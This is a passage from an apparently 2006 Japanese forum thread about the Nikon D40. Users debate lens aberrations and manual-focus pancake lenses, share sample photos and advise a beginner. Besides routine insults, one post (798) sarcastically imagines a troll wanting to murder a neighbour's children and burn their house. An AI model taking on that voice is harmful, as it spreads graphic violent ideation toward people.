絞って撮っても良いなら、キットレンズでも良いかもね。

697 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:20:00 ID:1VQRDKoy0
開放でもあれほど酷い色収差は出ないぞ。
キットレンズなめんな。

698 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:27:38 ID:m+RAGAKb0
>>697
色収差って、どの写真の話?

・・・ってまたコントラストやヌケの話の再現になりそうな悪寒。

699 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:31:26 ID:wnVyFjMo0
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210203322.jpg
これのボケの周りに緑色に縁取ってるのが色収差。

700 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:31:57 ID:1VQRDKoy0
分からないならいいんじゃない?
そういうレベルの人が使うカメラだし。

701 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:33:02 ID:z0U/6XCc0
>>694
を、黒パンかー、いーなー。自分は銀パン。
45Pって開放時の後ボケが若干二線ボケ傾向だけど、
等倍厨じゃない限り影響ないかと。
景色のときはF4.0くらい絞り込むと消えるのでいつもはそうしてる。
被写体すぐ後ろのボケは綺麗だから、ポートレートに使えるので今までも結構使用頻度高いレンズだよ。

702 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:40:53 ID:m+RAGAKb0
>>699
この写真で色収差が酷いって、どう言う目をしてるのかな?

倍率色収差も軸上色収差も、皆無では無いけど、少なくともキットレンズよりは少ないよ。
つうか、キットレンズで同じシーンを撮ったら、軸上色収差で・・・・これ以上は言えん。

703 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:43:49 ID:wnVyFjMo0
どういう目もなにも、酷いものは酷いとしか言いようが無いでしょ。

704 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:50:47 ID:w0WSc2d1O
まぁ、アレだ。
接眼目当てがダサいのでDK-20に交換するのがオヌヌヌ。

705 :654:2006/12/10(日) 21:55:40 ID:Tq/M9P+O0
D40+Nikkor 45/2.8Pの続きです。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210214359.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210214600.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210215159.jpg

樽型収差
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210214159.jpg
周辺チェック
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210214000.jpg

以上です。

706 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:58:46 ID:rRG6rq0a0
で、液晶赤っぽくないですか?

707 :名無CCDさん@画素いっぱい:2006/12/10(日) 21:59:33 ID:Igsg6q9j0
超音速でピント合わせの利点は?

708 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:04:36 ID:z0U/6XCc0
>>705
うpおつかれちゃん。
まあ雑音は気にするな。ありがと。
人によって、映り、可搬性、操作性、焦点距離それぞれの優先順位なんて
千差万様だからね。
特にD40は一眼エントリーユーザーとレンズ資産活用ユーザーが
混在してて面白いもんだ。



709 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:06:55 ID:qVng9xCm0
人によって千差万別と言いながら、
色収差の酷さを指摘すると「雑音扱い」とはねぇ・・・。
こりゃ駄目だ。

710 :654:2006/12/10(日) 22:08:10 ID:Tq/M9P+O0
よく見たら口の中にバナナが入っていました。今まで気づきませんでした・・・。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210214359.jpg


711 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:13:31 ID:TMpKBDK80
結局このカメラ、動き物撮る人のサブに使えるのでしょうか?
AFスピード的に結論はどうですかあんたら。

712 :654:2006/12/10(日) 22:15:12 ID:Tq/M9P+O0
今日は「45/2.8Pだけをつけて出かけて撮って帰ってくる」と決めていったため、
GR DIGITALのメモ撮りは別として、皆さんの見たい他のレンズのサンプルが
無くてすみません。キットレンズを含め、手元に何本か別のレンズもあります
ので、また別の日に撮ってきたいと思います。


713 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:16:52 ID:LNwZ54GH0
レンズ1本にも満たない額で手に入るんだから
買って試せばいいのにねぇ

714 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:18:28 ID:DSrzyOU10
>>700
この場合カメラは関係無いのでは?D2系で撮っても一緒じゃない?

このレンズの場合はそういう問題と天秤にかけてもD40,D50,D70,D80系で露出計
が使える唯一(なの?)のMFレンズでしかもニッコールレンズで一番薄いという事
に価値を見出すべきなのでは?
ある意味VR18-200に似ているところがある気がするよ。

715 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:23:28 ID:kVhGoGeD0
>>714
重箱の隅つつくと、シフトレンズもMFだけど露出計働くのがある。
重箱の隅は、つついた側も嫌な気分になる・・・ orz

716 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:28:42 ID:1VQRDKoy0
>>714
「MFレンズ」をわざわざ使う層が使うカメラかと。
実用にならないMFレンズでしかも画質は最悪で一体何がしたいのか良く分からない・・・。
そういう検証してD40ユーザー層がそのレンズを使うとでも思ってるのだろうか。

717 :695:2006/12/10(日) 22:28:55 ID:NmubfLVt0
覚えたての「収差」と言う言葉を使ってみたかっただけです。
カッコつけて、ごめんなさい。
今まで、IXYしか使ったことが無くて、最近やっとカメラ用語を覚えたので・・・










ニコ爺m9(^Д^)プギャー

718 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:31:03 ID:k6PhWfBg0
>実用にならないMFレンズでしかも画質は最悪で
( ',_ゝ`)プッ

さすが、IDがシャッターユニットがすぐ逝かれる1vなだけ有るわ。

719 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:38:01 ID:kVhGoGeD0
>>716
ちみはMFすら使いこなせないのか。
I〜F3の時代に生まれなくてよかったね。

720 :名無CCDさん@画素いっぱい:2006/12/10(日) 22:43:42 ID:1VQRDKoy0
今はそういう苦行する時代じゃないんだよ。
それが信じられないなら売り場でD40の売り込みにMF苦行を強いてみたまえ。
嫌な顔され煙たがられるだけ。

721 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:02:12 ID:DSrzyOU10
>>720
いや、MFをわざわざ使うんじゃなくて、45F2.8Pのコンパクトさが魅力と
言ってるんだが。
セットレンズは軽いけどコンパクトとは言えないでしょ。

普通のスナップには無限遠に合わせておけばほとんど大丈夫だからMFで
十分だと思うんだけどな。
パパが義務(笑)で子供の写真を撮るという苦行を苦行で終わらせないで、写真
を撮ることを楽しむという次のステップに進んでもらうためにもMFのコンパクト
なパンケーキは良いと思うんだけど。

722 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:13:36 ID:1VQRDKoy0
コンパクトさは魅力だけど、その反面、MFで画質低下になるのはどうなん?っていう。
そうまでするならK100Dにパンケーキという選択肢も比較に加えないとならなくなる。

723 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:25:04 ID:AWajOusp0
AF-Sのパンケーキ出せばいいのにね〜
45mmは長すぎる
ペンタ並みに広角から中望遠までおねがいっす。

724 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:25:13 ID:DSrzyOU10
>>722
ちょっと絞れば色収差はなくなるから。

725 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:25:26 ID:m+RAGAKb0
>>720
静物を撮るのにMFが苦行って・・・
俺なんか、写真を撮る楽しみの何割かは、自分でピントを合わせる事だけどな。

それに45/2.8Pは写りがとても良いと思うけどな。
まあ、人の見る目と言うのは、それぞれだな。

726 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:31:31 ID:DSrzyOU10
>>723
そうそう20mm,35mm, 85mm位のAF-Sパンケーキが欲しい。
45mmみたいにアルミボディで。

727 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:35:58 ID:A+J0vtpG0
今日、店においてあったので触ってきたが、コンデジからのステップアップには
結構いいカメラなんじゃないかとオモタ。軽いし。

728 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:36:47 ID:jDwH7Iil0
今月赤ちゃん生まれたんで、D40Wズームキットにてデジタル一眼レフデビュー。
とはいえ、カメラについてはまったくの素人です。
なにか本を買おうと思って札幌ヨドバシの本を立ち読みしてみましたが、
どれも中々よく思えて決められませんでした(TT
初心者に、「これは良い」、と言う本はありますか?
先輩方お願いします。

729 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:43:17 ID:TMpKBDK80
やっぱ土門拳の「写真と人生」かな

730 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:47:40 ID:Ci94MNLy0
>>728
本を読むのも大事だとは思うけど、それよりも大事なのは
とにかく写真を撮ることだと思うな。
D40だったらオートでも、それなりに撮れるだろうし。

撮っていくうちに、こういうことしたいな、と思ったら
ネットで撮影テク探せると思うよ。
本を読むのは、それからでも大丈夫だと思う。

つか、一番いいたいのは、赤ちゃんは1ヶ月でもかなり変わるんで
今しか撮れない写真いっぱいあるから、どんどん撮っておいた方がいいよ
ということね。

ただ、赤ちゃん撮るときは、フラッシュは炊かないでね。

731 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:57:11 ID:fGjO3Qbw0
十分に経験を積んだ者にとって、
どんな事態になっても楽しむことが出来るだけ。

若輩者が奮闘する場面でも娯楽に過ぎない。

なんでわざわざ釣り竿で魚を獲るのかと、こう言っている愚かさが気がつかないのかね。
「魚屋で買えばいいじゃん」だと?

アホらしくて誰も答えないだろうが、双方にとって不毛なので、敢えて。


732 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:59:07 ID:Og9KhGhQ0
D40買ってから最初の休日だったんで、ちょこちょこ撮ってみた。
やっぱり一眼は難しいね。

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210235505.jpg (2484KB)

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061210235815.jpg (2180KB)


733 :名無CCDさん@画素いっぱい:2006/12/10(日) 23:59:10 ID:ycFcyAb60
一般人は魚釣りが目的ではなく、魚を食べる事が目的だから。

734 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:02:13 ID:L92EQm490
>>732
いいね。

735 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:03:55 ID:rDgUkoIn0
さっき見た。

ラストサムライ

736 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:07:51 ID:BPWA8d3q0
>>728
本もいいけど、ネットでもかなりの情報を仕入れる事出来るよ

http://aska-sg.net/shikumi/index.html

こんなのはいかが?

737 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:12:10 ID:TQAOPfrSO
まぁ、アレだ。
接眼目当てがダサいのでDK-20に交換するのがオヌヌヌ。

738 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:12:11 ID:adVCboGt0
>>731はコッコイイ事を言ったつもりなんだろうが意味不明w

カメラは習うより慣れろ。

739 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:12:58 ID:r404AIh80
>>728
写真の本じゃなくて、赤ちゃんがたくさん写ってる雑誌や写真集を買うといいよ。
どんなアングルでどんな表情が可愛く見えるのかがわかってくるから。


740 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:19:07 ID:bVz9MxfT0
>>739
不細工なあかちゃんはどう撮っても不細工、かわいい子はかわいいの。

741 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:22:18 ID:cIAHzdI20
728です。
皆さん、ありがとうございます。
やはり、習うより慣れろ、なんですね。
ただ、赤ちゃんは日々成長してて出来るだけ、その場で良い写真を撮ってあげたくて・・・
ちなみに、フラッシュ炊いてとってたっす・・・
これからは、毎日沢山とってみます。

技術的なものに関しては、736さんの紹介して下さったサイトを参考にします。
どうもありがとうございます〜。

742 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:22:58 ID:+RXRK1fQ0
>>738
MF苦行説への皮肉だよ、と野暮なマジレスしてみる。

743 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:25:51 ID:4t4c9a+X0
一般人は魚釣り(苦行)が目的ではなく、魚を食べる事(食事)が目的だから。

744 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:27:23 ID:BPWA8d3q0
>>741
右ツリー見ればわかると思うけど撮影テクニックとかもあるので
結構楽しめると思うよ ここのサイト

勉強してどんどん沼にハマッてくださいなw

745 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:29:43 ID:YFu73uW30
ママさんが、子どもを撮るために使うってのが
このD40のもっとも正統派な用途だと思う。

正直>>728には頑張って欲しい。

コッソリ教えるけど、D40のイメージプログラムは
写真の本で勉強するくらいのちゃんとした設定を
自動でやってくれるので、それだけでいいかもしれん。

746 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:44:42 ID:yvzoFxk90
それにしても小型軽量の一眼にパンケーキをつけただけでこんなに揉めるとは・・・。
ここでMFレンズをD40に付けて楽しんでいる人は、要するに、「軽のマニュアル車で
ドライブするのも軽快で楽しいね」と言っているだけなのだ。

そこに血相を変えて飛び込んできて叫ぶ人が現れる。

「軽自動車にマニュアルシフトとは何事だ!ゲトラグの6速MTと比べたときの、
このシフトのモタツキは何だ!話にならない!

そもそも軽自動車なんて、MTでわざわざ使う層が乗るクルマかと!実用に
ならないMTでしかもレスポンスは最悪で一体何がしたいのか良く分からない・・・。

そういう検証して軽自動車のユーザー層がMT車に乗るとでも思ってるのだろうか。

今はそういう苦行する時代じゃないんだよ。それが信じられないならスズキの
軽自動車の売り込みにMT苦行を強いてみたまえ。嫌な顔され煙たがられるだけ。云々・・・。」



「は・・・はぁ・・・、オートマがお好きなら、お乗りになれば・・・。」と申し上げるしかないではないか。

747 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:50:20 ID:ZSyUNKui0
もちつけ

748 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:51:07 ID:YFu73uW30
使い方は人それぞれだからな。
色んな人が集まるのはいいことだし、色々楽しめるカメラだが、
所詮は5万の入門機だということを忘れない姿勢はもちたい。


749 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:57:42 ID:i1yHmAjW0
だけどきやのんの何十万円かのは
ばかでかくてくそおもいじゃん。

750 :名無CCDさん@画素いっぱい:2006/12/11(月) 00:58:11 ID:meojmbeF0
>>746

オートマの軽自動車(AF-sのパンケーキ)が現状存在しない。
そう考えて文句言う人も出てくるのだろう。

ただ、、ニコンの意図としてはオートマの軽自動車ってのは
D40 + DX18-55mmだってことだな。
パンケーキ含む単焦点レンズを欲しがるようなら、
既にニコンの意図するユーザー層ではないと思うけど。

751 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:05:37 ID:oWF56Dea0
現在では軽乗用車の出荷台数の95%がオートマチックだというのに、
そんな中、マニュアルで走るとこんなに燃費がいいんですよ!なんて叫んだところで
一体95%のうち何人が興味を示すと言うのだろう?

752 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:08:19 ID:poBE0v4FQ
まあいずれにしても、D40にパンケーキつけるのはけしからんと言ってけなす人は、
D2Xにパンケーキ着けても何かしら理屈をこねてけしからんと言ってけなすよ。


753 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:09:43 ID:4t4c9a+X0
D2Xに役に立たないパンケーキを付けようなんて思う奴は皆無だけどね。

754 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:13:20 ID:meojmbeF0
>>751

軽自動車のミッションは簡単に換装できない。
でもD40含むデジ一眼は違う。
簡単にATとMTを選択できる。

普段はATだとしても、たまにはMTもいいんじゃない?
そんなに目くじら立てるほどでもないと思うが・・・

755 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:15:04 ID:qyNpRe520
足が2本なのにペダルは3本とはこれいかに

756 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:15:56 ID:poBE0v4FQ
ところで発端となった上のグリーンのフリンジは、軸上色収差?
画面の中心近くでもよくみると緑色の縁が判る。

757 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:28:10 ID:oWF56Dea0
てゆか目くじらを立ててるのはMFを使うかどうかではなくて、
パンケーキを付けてMFにしてコンパクトにした結果、
画質が悪いと言う事を指摘した事に対する逆切れに目くじら立ててるんじゃないのか?

パンケーキはコンパクトだけどMFで画質が悪い、
で、以上、じゃないか。
それに無茶な反論するからヒートアップしてるような気がする。

758 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:30:00 ID:iQ49WKQbO
レンズの話で盛り上がってるところ申し訳ないが、
何だかんだ言っても、上がってる作例見りゃ、お前ら全員
ニコンが想定するD40の客層にピッタリだと言えるな。
どんなに良いレンズ付けても、撮ってくるのはショボすぎるカット
でしかないわけで。
お前ら本当に写真撮ってるのかって言いたいぜ。
自作PCヲタみたいにベンチマーク走らせて悦に入ってるとかじゃないだろうな…

759 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:32:36 ID:iQ49WKQbO
>>757
レンズの画質以前に腕が悪いから噛みつかれるんだよ。
それがそもそもの発端だ。

760 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:33:51 ID:4Sde6xuV0
キムタクのCMと同じで、部屋でレンズとっかえひっかえして、
ニコンいいわ〜
って、言うために機材買うのがニコンユーザーだよ。

761 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:35:29 ID:bVz9MxfT0
>>760
画質が悪いから写真自体見てたら落ち込むもんねwww

762 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:36:05 ID:J+/lSKyO0
>>760
正直、それがやりたくて買った。後悔はしてない。

763 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:36:12 ID:r404AIh80
ところで液晶赤くない?

764 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:39:39 ID:IZTaZRc40
>>732

これ、まさかキットレンズじゃないですよね?

765 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:45:12 ID:aSyS/MbV0
釣りでも煽りでもなくマジレスが欲しいんだけど、D40ってこれより
きれいな写真が撮れるんですか。
ちなみにこれはCANONのコンデジの作例です。

ttp://www.exblog.jp/blog_logo.asp?slt=1&imgsrc=200610/05/78/e0071178_513838.jpg

766 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:52:15 ID:YFu73uW30
>>765
これより綺麗、というその基準がまったくわからない例だなこの写真だけだと・・・・

きっと、これよりも「綺麗な写真」は、だいたいのカメラで撮れると思うぞ。

767 :名無CCDさん@画素いっぱい:2006/12/11(月) 01:55:47 ID:J+/lSKyO0

  \(⌒-⌒)
   (・(ェ,,)・ ) < そんなエサで俺様がクマー!!
    `つ   `つ      (´⌒(´
     ゝ_つ_`つ≡≡≡(´⌒;;;≡≡≡
              (´⌒(´⌒;;
      ズザザザ

768 :765:2006/12/11(月) 01:57:02 ID:aSyS/MbV0
この写真には、収差やノイズがまったく感じられないんです。
それでいて、被写体はシャープでクリアで、背景は程よくボケてます。

デジタルカメラの作例だと、これほどきれいだと思った写真はそうそう
無かったもので、でもデジタル一眼だとこれを凌駕できるものなのか
そうでないのか興味がありました。

769 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:00:14 ID:mSUkg1i+0
今日18-55レンズキット買ってきました。\56000のポイント5%で対処してくれました。店員愛してる。

明日から充電して使ってみます。

770 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:02:08 ID:J+/lSKyO0
>>769
おめ!

もうそこらのコンデジと値段たいして変わらなくなってきたな

771 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:04:34 ID:e7XGI9YE0
>>765
俺の美的感覚からしたらとてもきれいじゃないんだが
作例以前にコンデジで十分だな

772 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:05:41 ID:DMOxUgS60
>>768 世界は広いんだ。もっといろんな物を見といた方がいい。

773 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:12:27 ID:LfUjTfRV0
一眼でこんな風に撮るときはいろいろ気を使うよね。
こんなのがいいのならコンデジにしたほうが気軽にとれるお765

774 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:14:28 ID:YFu73uW30
>>768
カラーノイズもバリバリのってるし お茶の文字のところに
モスキートノイズも完全に出てるし
カラーフリンジもでてるし(キャップの周囲とか)、
軽く樽型の歪曲もあるし(ボトルが膨らんでるだけかもしれんが)
この距離の接写で背景がまったくボケないレンズのが作るの難しいし
こんだけアップでシャープに写らないレンズもあんまりないよな。


775 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:14:41 ID:4Mr7eQYe0
>>768
それ被写体キチャナイ、ボケボケ

776 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:14:44 ID:QS7fE1VX0
D40なんてちょっと高価なコンデジ並のカメラなんだから買っちゃえばいいじゃん


777 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:16:02 ID:4Mr7eQYe0
フォーカスが右下の布にあってるし

778 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:19:12 ID:Hojh2WPj0
この値段でこの写り・・・

COOLPIXのPシリーズの存在意義は完全に消えたな。
だから今回はSとLしか出なかったのか。

779 :765:2006/12/11(月) 02:20:41 ID:aSyS/MbV0
手振れ補正もなく、ISOも200からない D40 では、意外とこの条件
では厳しいのかな、と思ったりもしたものですので。

780 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:27:58 ID:RjqrfIpZ0
今日やっとD40の実機いじってきたよー!
K100D買う気満々で出かけて行ったのに手ぶらで帰ってきたwwww
やべーD40ちょっとかわいい。

>>765
LUMIX>IXY>F30と渡り歩いてきた俺から見ると、まぁまぁ頑張ってるほう。
コンデジで暗い室内だとどうしてもあの手のノイズがきっついね。
猫スレに昨日デジ一じゃないカメラで撮ったのうpしてきたから
ヒマだったら探してみて。

781 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:34:06 ID:YFu73uW30
>>780

そんだけ渡り歩いたお前なら、両方買っちゃってもいいんじゃないかw


782 :765:2006/12/11(月) 02:34:13 ID:aSyS/MbV0
みなさんありがとうございました。
フィルム一眼用の、手持ちのレンズがあるので、小さなD40
には惹かれていますので、もう少し自分で情報集めて検討
します。

783 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:34:13 ID:DMOxUgS60
>>779 なめとんのかおまえはw そんな低感度いらないんだよ。
ソニーの600万画素CCD搭載機はみんなISO 200からだぞ

784 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:53:15 ID:YFu73uW30
ISO50から始まるコンデジの人にはISO200は高感度だろうけど、
CCDなりCMOSの大きさが違うから、ベースになる感度が大きいんだよ。

同一機種ならば、高感度の方が画質は荒れてくるけど
コンデジのISO200と、デジ一のISO200を比べたりするのはナンセンスだよ。
ちなみに、D40haISO800までは結構綺麗だよ。


785 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:54:34 ID:RjqrfIpZ0
>>781
それも一瞬考えたけど、その後K10とD80欲しくなる罠が怖くて
踏ん切りつかないwwwwww

786 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:56:44 ID:nRTnjs1B0
>>768 のペットボトルのお茶の文字周辺は
現物がもともと滲んでる。俺が今まさにこのペットお茶を
飲んでるから比較できる


787 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:57:52 ID:nRTnjs1B0
間違えた>>765

788 :名無CCDさん@画素いっぱい:2006/12/11(月) 02:59:42 ID:YFu73uW30
>>785
何言ってんだ。そうなったら、K10とD80も両方買うに決まってるジャンw

789 :名無CCDさん@画素いっぱい:2006/12/11(月) 03:01:44 ID:bVz9MxfT0
>>778
ニコ爺の発想はいつも笑えるw
クールピックスなんてお前ら信者しか使ってないのにwwwwwwwwwwww きもいwwwwwwwwwwwwwwwwwwwww

790 :名無CCDさん@画素いっぱい:2006/12/11(月) 04:01:00 ID:e7XGI9YE0
>>765、いっぱい釣れたな

あ、俺も釣られてら

791 :名無CCDさん@画素いっぱい:2006/12/11(月) 04:29:50 ID:SrrHgZ6Z0
誰かD40でペットボトルのお手本撮ってupしてください

792 :名無CCDさん@画素いっぱい:2006/12/11(月) 05:19:10 ID:a8xyEkYV0
>>764
キットレンズ(18-55mm)だよ。RAWで撮って現像してる。

793 :名無CCDさん@画素いっぱい:2006/12/11(月) 08:35:31 ID:iQ49WKQbO
>732
キットレンズの程度が知れる作例だな。
このカメラが対象とするユーザーにはこれでもいいんだろうが…。


794 :名無CCDさん@画素いっぱい:2006/12/11(月) 10:44:12 ID:BTmhfgjq0
なんかもう、
作例うpうp!叫ぶやつも、
出た作例けなしまくるやつも、
どっちも工作員に見えてきた

795 :名無CCDさん@画素いっぱい:2006/12/11(月) 10:45:23 ID:BTmhfgjq0
そうしてスレを衰退に導くのが
工作員の仕事なのかね?

796 :名無CCDさん@画素いっぱい:2006/12/11(月) 10:47:12 ID:/ZdrgxRq0
素人ユーザーを玄人モドキが叩く感じ悪いスレはここでつか?


797 :名無CCDさん@画素いっぱい:2006/12/11(月) 10:57:58 ID:k5B+0Hho0
つうか>>732の2枚目なんか綺麗に撮れているじゃない。
1枚目は斜めなのが気に入らないけど、まあ、これは好みの話だし・・・

でも>>732の1枚目の空、D40にしてはちょっとノイジーだね。
Exif無いけど、レタッチしてるのかな?それとISOはどれくらいだろ?

798 :名無CCDさん@画素いっぱい:2006/12/11(月) 11:48:07 ID:poBE0v4FQ
俺は工作員じゃないよ。ただ単に他人が新しいカメラを買って嬉しそう
にしてたり、写真を撮って楽しそうに歓談してると無償に腹が立って
くるだけ。隣の家から家族の笑い声が聞こえてくるだけで、子供を
肉の塊にして家に火を着けて悲しみのどん底に叩き落としてやりたいと
思うのと一緒の自然な感情だよ。

パンケーキでマュアルフォーカスを楽しんでいる奴なんか見たら、
もうそれだけでカメラをむしりとってアスファルトに叩き付けて
やりたくなる。メモリーカードだけは返してやるフリをして
すかさずライターで火あぶり。お前の作品なんて火葬されたほうが
世の中のためなんだよ、2ちゃんにUpして得意気になってんじゃ
ねーよ、とか言い放っちゃう。




・・・と、たぶんこんな心情なんじゃない?
他のスレでも他人を馬鹿にしたような書き込みを為ているみたいだし。

799 :名無CCDさん@画素いっぱい:2006/12/11(月) 11:53:34 ID:3PI8fbyc0
病めろ!病めてくれ!鬱になる

800 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:02:10 ID:r404AIh80
もしかして、少し液晶が赤く感じられませんか?

801 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:02:19 ID:LfUjTfRV0
漏れが持っていないカメラあおるときは
そのカメラの欠点を知りたいときだな。

あおりが見当違いな場合エライ勢いで反論食らうが
いいところついている場合はスルーされるか
基地外あつかいされるかのどちらか。
あおりは真実を知るリトマス試験紙でもある。

802 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:16:34 ID:QH/He4F30
理由がどうであれ、脳内ユーザーの煽りは結局嫌われ者になるだけだ、
ということに早く気付けば良いのにね

803 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:21:08 ID:LfUjTfRV0
ところが使っている人から
欠点聞きだすのはなかなかむずかしいんですよね。
その意味で2ちゃんは資料性あると思っている。
できたら嫌われたくないが仕方がない。

漏れなんかは自分のカメラの欠点普通に話しできるんだけどな。

804 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:24:08 ID:k5B+0Hho0
>>803
>漏れなんかは自分のカメラの欠点普通に話しできるんだけどな。
スレ違いだろうけど、他に話題も無さそうだから聞いてあげても良いよ。

805 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:25:17 ID:r2gBVmxY0
>>803

要するに自分さえ良ければよい、ということですね!
煽ってる人以外にはふつうに煽りにしか見えないですし。資料性も独り占め!!


806 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:27:38 ID:X/WrMuPC0
>>732
2枚目ですが、意外と寄れるんですね。
砂粒も綺麗にとれていると思います。


807 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:28:48 ID:QH/He4F30
資料性、ねえ・・・

デジカメ博士にでもなるつもり?w

808 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:30:34 ID:LfUjTfRV0
漏れのカメラについては当該スレで機会があれば語るよ。

っていうか自分の持っているカメラのよくない点って話しにくいか?
漏れの考えではその欠点を超える美点に引かれてそのカメラ買ったのなら
欠点つかれても「そうだね、それがいやなら買わないでね」で
すみそうな気がするんだけどな。
それが出来ないのは欠点が受け入れられないぐらい重大なのかな
と思ってしまう。カメラなんて短所長所併せ持つのが普通なのに。

漏れのスタンスはカメラはお金払えば手に入る機械で
自分の子供のような愛着は感じられない。
だから欠点の話はぜんぶはねつけます、ってセンスは持ち合わせていない。
そこは皆さんとはずいぶん違うとおも。

809 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:36:59 ID:QH/He4F30
>カメラなんて短所長所併せ持つのが普通なのに。

あって普通、という欠点を脳内ユーザーのお前がわざわざ煽っても、
煽ること事態が目的としか認識されないだろ、普通
欠点の話をしたければ、自分の使ってる機種のスレでやれよ


810 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:37:10 ID:r2gBVmxY0
>>808
> 欠点つかれても「そうだね、それがいやなら買わないでね」で
> すみそうな気がするんだけどな。
> それが出来ないのは欠点が受け入れられないぐらい重大なのかな
> と思ってしまう。

>>801
> あおりが見当違いな場合エライ勢いで反論食らうが
> いいところついている場合はスルーされるか
> 基地外あつかいされるかのどちらか。

ほんの数レスで趣旨替えですか

811 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:38:26 ID:X/WrMuPC0
質問させてください。
ソフトのNikon CaptureやCaptureNXでカメラコントロールは可能ですか?
アップデータが出てからの対応なのでしょうか?


812 :名無CCDさん@画素いっぱい:2006/12/11(月) 12:40:27 ID:k5B+0Hho0
>>808
>っていうか自分の持っているカメラのよくない点って話しにくいか?
いや、欠点を語るのは嫌いじゃないよ。
ただ、自分の持っているカメラの欠点は聞き飽きて・・・ってのは有る。

ところでD40は、これと言う欠点は、まだ無いんじゃないか?
まだ買っていないから、良く判っていないだけかも知れんけど。
